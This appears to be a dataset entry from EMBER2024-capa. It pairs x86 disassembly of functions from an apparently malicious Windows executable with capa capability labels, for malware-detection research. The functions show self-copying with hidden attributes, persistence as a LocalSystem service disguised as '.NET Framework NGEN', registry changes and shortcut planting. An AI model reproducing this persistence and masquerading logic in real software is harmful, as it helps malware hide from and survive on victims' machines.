joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403560
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push dword [ebp + 8]
mov byte [ebp - 1], 0
call fcn.00402dd3
pop ecx
test al, al
je 0x403580
mov byte [ebp - 1], 1
jmp 0x4035be
cmp byte [ebp + 8], 0
push esi
mov esi, 0x40a350
jne 0x4035d4
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4035bd
push 0
push 0
lea eax, [ebp - 1]
push eax
push 0x4034a3
push 4
push 1
lea eax, [ebp - 8]
push eax
push esi
mov dword [ebp - 8], str..exe
call fcn.004055ee
add esp, 0x20
pop esi
mov al, byte [ebp - 1]
leave
ret
lea eax, [ebp - 0x210]
push eax
call fcn.00404c6e
pop ecx
test al, al
jne 0x4035e9
lea eax, [ebp - 0x210]
push eax
push esi
call fcn.00404e86
pop ecx
pop ecx
test al, al
jne 0x4035c3
jmp 0x4035bd
mov byte [ebp - 1], 1
jmp 0x4035bd

Function at 0x4035ef
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x470
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x403763
add eax, eax
lea ecx, [ebp + eax - 0x21c]
mov dword [ebp - 0x10], ecx
lea ecx, [ebp + eax - 0x216]
mov dword [ebp - 0xc], ecx
lea edi, [ebp + eax - 0x21a]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10]
xor eax, eax
mov word [ecx], ax
push str.__.exe
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x19
pop eax
call fcn.004024cb
add eax, 0x61
mov word [edi], ax
push 0x19
pop eax
call fcn.004024cb
mov ecx, dword [ebp - 0xc]
add eax, 0x61
mov word [ecx], ax
lea eax, [ebp - 0x46c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x403632
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
xor esi, esi
push dword [esi + 0x40a238]
lea eax, [ebp - 0x440]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x403632
add esi, 4
cmp esi, 0xa8
jb 0x403695
lea eax, [ebp - 0x440]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
and dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x403632
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
test eax, eax
je 0x40370a
push eax
lea eax, [ebp - 0x21c]
push eax
call fcn.00405875
pop ecx
pop ecx
mov esi, eax
jmp 0x40370c
xor esi, esi
test esi, esi
je 0x403632
mov ebx, dword [sym.imp.SHLWAPI.dll_StrStrIW]
push str.install
push esi
call ebx
test eax, eax
jne 0x403742
push str.setup
push esi
call ebx
test eax, eax
jne 0x403742
push str.update
push esi
call ebx
test eax, eax
jne 0x403742
xor bl, bl
jmp 0x403744
mov bl, 1
push esi
call fcn.004023f0
pop ecx
test bl, bl
jne 0x403632
lea eax, [ebp - 0x21c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40393b
Capabilities:
Copy file
Create process on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
push esi
lea eax, [ebp - 0x264]
push edi
push eax
call fcn.004035ef
pop ecx
lea eax, [ebp - 0x264]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push eax
push 0x40a350
lea eax, [ebp - 8]
push str._s_s
push eax
call fcn.00402b0d
add esp, 0x10
test eax, eax
je 0x403a3e
call fcn.00405e1b
mov edi, dword [ebp - 8]
push 0
push edi
push 0x41a568
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x264]
push eax
call fcn.00405ba9
pop ecx
push 6
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [ebp - 0x20], str..dll
mov dword [ebp - 0x1c], str..xml
mov dword [ebp - 0x18], str..cpl
mov dword [ebp - 0x14], str..vbs
mov dword [ebp - 0x10], str..tlb
mov dword [ebp - 0xc], str..ocx
xor esi, esi
push dword [ebp + esi*4 - 0x20]
call fcn.00403768
inc esi
pop ecx
cmp esi, 6
jb 0x4039d7
call fcn.00403452
cmp byte [ebp + 8], 0
push edi
je 0x4039fb
call fcn.00404d1b
pop ecx
jmp 0x403a37
call fcn.00404bc8
pop ecx
push 0x38
lea eax, [ebp - 0x58]
push 0
push eax
call sub.MSVCRT.dll_memset
and dword [ebp - 0x40], 0
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
mov dword [ebp - 0x5c], 0x3c
mov dword [ebp - 0x58], 0xc600
mov dword [ebp - 0x50], str.open
mov dword [ebp - 0x4c], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
push edi
call fcn.004023f0
pop ecx
pop edi
pop esi
leave
ret

Function at 0x403a42
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
push ebx
push esi
xor ebx, ebx
push edi
mov esi, 0x40a350
cmp word [0x40a350], bx
jne 0x403af5
cmp byte [ebp + 8], bl
je 0x403aa7
cmp byte [0x40a34c], bl
je 0x403a7e
movzx eax, word [0x41a358]
push eax
push str._c:ProgramDataMicrosoft_
jmp 0x403a9b
push ebx
push 0x26
lea eax, [ebp - 0x21c]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x21c]
push eax
push str._sWindows_NT_
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
jmp 0x403abf
push esi
push ebx
push ebx
push 0x1a
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str.Microsoft_
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor eax, eax
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x14]
push eax
call fcn.00402ea3
push eax
call fcn.00402c6a
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0x10]
push eax
push dword [ebp - 0x14]
push str.v2.0_2.0.0.0___x_x_x
push ebx
push esi
call fcn.00402bfb
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x40411d
Capabilities:
Check mutex on windows
Extract resource via kernel32 functions
Get file size
Initialize winsock library
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xd9c
push ebx
push esi
push edi
lea eax, [esp + 0x1a8]
push eax
push dword [ebp + 8]
call fcn.0040300b
pop ecx
pop ecx
lea eax, [esp + 0x1a8]
push eax
xor ebx, ebx
push ebx
push 0x42a794
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x404329
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x404329
call fcn.00405e81
mov esi, eax
cmp esi, ebx
je 0x40418b
push esi
call fcn.00402909
pop ecx
push esi
mov dword [0x42a56c], eax
call fcn.004023f0
pop ecx
push ebx
lea eax, [esp + 0x5ac]
push eax
push 0x400
push str..common.dat
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 8
pop edi
mov dword [0x41a560], 2
call fcn.00402307
mov ecx, dword [0x41a560]
mov dword [0x41a564], eax
cmp ecx, ebx
jbe 0x4041d7
mov edx, str.wRBny
sub edx, eax
mov esi, dword [edx + eax]
mov dword [eax], esi
add eax, 4
dec ecx
jne 0x4041cc
push ebx
push ebx
push 3
push ebx
push ebx
push closesocket
lea eax, [esp + 0x5c0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esp + 0x10], eax
cmp eax, 0xffffffff
je 0x40427d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
jmp 0x40426f
push ebx
lea eax, [esp + 0x18]
push eax
push 4
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x20]
mov dword [esp + 0x20], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x41a560]
sub esi, dword [esp + 0x14]
mov ecx, dword [0x41a564]
xor edx, edx
cmp eax, ebx
jbe 0x404247
mov edi, dword [ecx + edx*4]
cmp edi, dword [esp + 0xc]
je 0x40426f
inc edx
cmp edx, eax
jb 0x404239
lea eax, [eax*4 + 4]
push eax
push ecx
call fcn.00402365
mov edx, dword [0x41a560]
inc dword [0x41a560]
pop ecx
pop ecx
mov ecx, dword [esp + 0xc]
mov dword [0x41a564], eax
mov dword [eax + edx*4], ecx
cmp esi, ebx
jne 0x404209
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 2
push ebx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
cmp esi, ebx
je 0x4042de
push 0x10
push 1
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, ebx
je 0x4042d7
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, ebx
je 0x4042d7
mov cx, word [eax + 0x32]
mov word [0x41a350], cx
mov cx, word [eax + 0x30]
mov word [0x41a352], cx
mov cx, word [eax + 0x36]
mov word [0x41a354], cx
mov ax, word [eax + 0x34]
mov word [0x41a356], ax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [esp + 0x18]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
cmp dword [0x41a560], ebx
jbe 0x404320
mov eax, dword [0x41a564]
push dword [eax + esi*4]
call fcn.00403f13
pop ecx
test al, al
jne 0x404320
push 0x3e8
call edi
inc esi
cmp esi, dword [0x41a560]
jb 0x4042fe
push 0xea60
call edi
jmp 0x4042f4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4046c1
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
and dword [esp + 4], 0
push ebx
push esi
push edi
mov esi, 0x42a7a0
push esi
lea eax, [esp + 0x14]
push str._s.lnk
push eax
mov byte [esp + 0x1b], 0
call fcn.00402b0d
add esp, 0xc
test eax, eax
je 0x40478c
mov edi, 0xfffe
call fcn.00402307
mov ebx, eax
test ebx, ebx
je 0x404782
call fcn.00402307
mov edi, eax
test edi, edi
je 0x40477b
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x404774
lea eax, [esp + 0x44]
push eax
push esi
push str._s_s
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push dword [ebp + 8]
push ebx
call fcn.00404612
add esp, 0x1c
test al, al
jne 0x404765
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40472d
jmp 0x40476a
mov byte [esp + 0xf], 1
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.004023f0
pop ecx
push ebx
call fcn.004023f0
pop ecx
push dword [esp + 0x10]
call fcn.004023f0
pop ecx
mov al, byte [esp + 0xf]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4048f0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov ebx, 0x42a7a0
push ebx
lea eax, [ebp - 4]
push str._s.lnk
push eax
call fcn.00402b0d
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x4049b4
mov edi, 0xfffe
call fcn.00402307
mov esi, eax
test esi, esi
je 0x4049ab
call fcn.00402307
mov edi, eax
test edi, edi
je 0x4049a4
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40499d
lea eax, [ebp - 0x22c]
push eax
push ebx
push str._s_s
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
push edi
push str.shit
push esi
call fcn.00404612
add esp, 0x1c
test al, al
je 0x404980
call fcn.0040582e
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x404954
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call fcn.004023f0
pop ecx
push esi
call fcn.004023f0
pop ecx
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4049b9
Capabilities:
Delete registry value
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push ebx
push dword [ebp + 8]
mov byte [ebp - 2], bl
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 0x104
call esi
cmp eax, 0x103
je 0x404aac
push edi
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a7f
mov edi, dword [ebp - 0x10]
call fcn.00402307
mov edi, eax
cmp edi, ebx
je 0x404a7f
lea eax, [ebp - 0x10]
push eax
push edi
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x404a5a
push edi
call dword [sym.imp.SHLWAPI.dll_PathUnquoteSpacesW]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x404a5a
mov byte [ebp - 1], 1
push edi
call fcn.004023f0
pop ecx
cmp byte [ebp - 1], bl
je 0x404a7f
mov byte [ebp - 2], 1
cmp byte [ebp + 0x10], bl
je 0x404aab
lea eax, [ebp - 0x218]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
inc dword [ebp - 0xc]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0xc]
mov dword [ebp - 8], 0x104
push dword [ebp + 8]
call esi
cmp eax, 0x103
jne 0x4049fa
pop edi
mov al, byte [ebp - 2]
pop esi
pop ebx
leave
ret

Function at 0x404ab3
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
push dword [ebp + 8]
lea ebx, [ebp - 0x210]
call fcn.0040591c
push dword [ebp + 8]
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push str.__s_
push eax
call fcn.00402b0d
mov esi, eax
add esp, 0x10
add esi, esi
je 0x404b51
xor ebx, ebx
lea eax, [ebp - 8]
push eax
push 0x2011f
push 0
push dword [ebx + 0x40a210]
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404b40
push eax
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.004049b9
add esp, 0xc
test al, al
jne 0x404b37
push esi
push dword [ebp - 4]
lea eax, [ebp - 0x210]
push 1
push 0
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 4
cmp ebx, 8
jb 0x404aec
push dword [ebp - 4]
call fcn.004023f0
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x404bc8
Capabilities:
Create shortcut via ishelllink
Get common file path

Disassembly:
push 0x228
push 0x4081c0
call fcn.00406030
mov esi, ecx
push esi
call fcn.004046c1
pop ecx
test al, al
jne 0x4048ea
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x1c]
push eax
push 0x4072d8
push 1
push 0
push 0x4072e8
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4048ea
push esi
lea ebx, [ebp - 0x238]
call fcn.0040591c
pop ecx
mov edi, 0xfffe
call fcn.00402307
mov edi, eax
mov dword [ebp - 0x2c], edi
xor ebx, ebx
cmp edi, ebx
je 0x4048e1
push esi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
sub eax, esi
push eax
push esi
push edi
call sub.MSVCRT.dll_memcpy
lea eax, [ebp - 0x238]
push eax
push 0x42a7a0
push str._s_s.lnk
lea eax, [ebp - 0x28]
push eax
call fcn.00402b0d
add esp, 0x1c
test eax, eax
je 0x4048d8
lea eax, [ebp - 0x30]
push eax
push esi
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeW]
cmp eax, ebx
je 0x404854
push eax
push esi
call fcn.00405875
pop ecx
pop ecx
mov dword [ebp - 0x20], eax
jmp 0x404857
mov dword [ebp - 0x20], ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push edi
push eax
call dword [ecx + 0x24]
cmp dword [ebp - 0x20], ebx
je 0x40487f
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push dword [ebp - 0x20]
push eax
call dword [ecx + 0x1c]
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
lea edx, [ebp - 0x24]
push edx
push 0x4072f8
push eax
call dword [ecx]
test eax, eax
js 0x4048ae
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push 1
push dword [ebp - 0x28]
push eax
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or dword [ebp - 4], 0xffffffff
jmp 0x4048c1
cmp dword [ebp - 0x20], ebx
je 0x4048cf
push dword [ebp - 0x20]
call fcn.004023f0
pop ecx
push dword [ebp - 0x28]
call fcn.004023f0
pop ecx
push dword [ebp - 0x2c]
call fcn.004023f0
pop ecx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call fcn.0040606b
ret
xor eax, eax
cmp word [0x42a7a0], ax
jne 0x404be6
push 0x42a7a0
push eax
push eax
push 0x8007
push eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push dword [esp + 4]
call fcn.00404ab3
pop ecx
mov ecx, dword [esp + 4]
jmp 0x404797
Function at 0x404c6e
Capabilities:
Delete service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 1
call fcn.00402dd3
pop ecx
test al, al
je 0x404c84
mov al, 1
leave
ret
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404d12
push edi
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebx
je 0x404d08
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x404cf9
cmp dword [ebp - 0x1c], 4
je 0x404d17
cmp dword [ebp - 0x1c], 2
je 0x404d17
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x404cf9
xor esi, esi
push 1
call fcn.00402dd3
pop ecx
test al, al
jne 0x404d17
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x3c
jl 0x404cdc
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop ebx
leave
ret
mov bl, 1
jmp 0x404d00

Function at 0x404d1b
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x404e3c
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
mov eax, 0xffff
call fcn.004024cb
movzx edi, ax
call fcn.00405c05
test al, al
push edi
lea eax, [ebp - 0x448]
je 0x404d74
push str.NGEN_u_32
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u_X86
jmp 0x404d82
push str.NGEN_u
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u
lea eax, [ebp - 0x240]
push eax
call esi
add esp, 0x18
push 0x407da4
push str.LocalSystem
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x240]
push ebx
push 2
push 0x10
push 0xf01ff
push eax
lea eax, [ebp - 0x448]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x404d47
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea ecx, [ebp - 0xc]
push ecx
xor esi, esi
inc esi
push esi
push eax
mov dword [ebp - 0xc], str.Microsoft_.NET_Framework_NGEN
call edi
mov eax, 0xea60
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 3
call edi
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 8]
call esi
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x404e86
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
push 4
push ebx
push ebx
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x404fdb
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
push ebx
push ebx
push 3
push 0x30
push ebx
push eax
call esi
test eax, eax
jne 0x404fd1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x404fd1
push edi
mov edi, dword [ebp - 8]
call fcn.00402307
mov edi, eax
mov dword [ebp - 0x24], edi
cmp edi, ebx
je 0x404fd0
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 3
push 0x30
push ebx
push dword [ebp - 0x18]
call esi
test eax, eax
je 0x404fc7
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
jbe 0x404fc7
mov esi, edi
push 1
push dword [esi]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x404fb5
lea ecx, [ebp - 0xc]
push ecx
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x404fa7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x404fa7
mov edi, dword [ebp - 0xc]
call fcn.00402307
mov edi, eax
cmp edi, ebx
je 0x404fa7
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push edi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x404fa0
push dword [ebp - 0x20]
push dword [ebp + 8]
push dword [edi + 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x404fa0
push dword [esi]
mov byte [ebp - 1], 1
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push edi
call fcn.004023f0
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [ebp - 1], bl
jne 0x404fc7
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add esi, 0x2c
cmp eax, dword [ebp - 0x14]
jb 0x404f2b
push dword [ebp - 0x24]
call fcn.004023f0
pop ecx
pop edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret

Function at 0x40502f
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [ebp + 8], 0xffffffff
je 0x405076
test byte [ebp + 0x10], 2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x10
je 0x405062
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x40506a
or eax, 0xffffffff
leave
ret
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x405059
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov ax, word [ebp - 0x1e]
jmp 0x40507c
and dword [ebp - 0xc], 0
xor eax, eax
mov word [ebp - 0xe], ax
mov al, byte [ebp + 0xc]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x10]
push 8
push eax
mov byte [ebp - 0x10], 0
call fcn.004027dc
sub eax, 8
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
leave
ret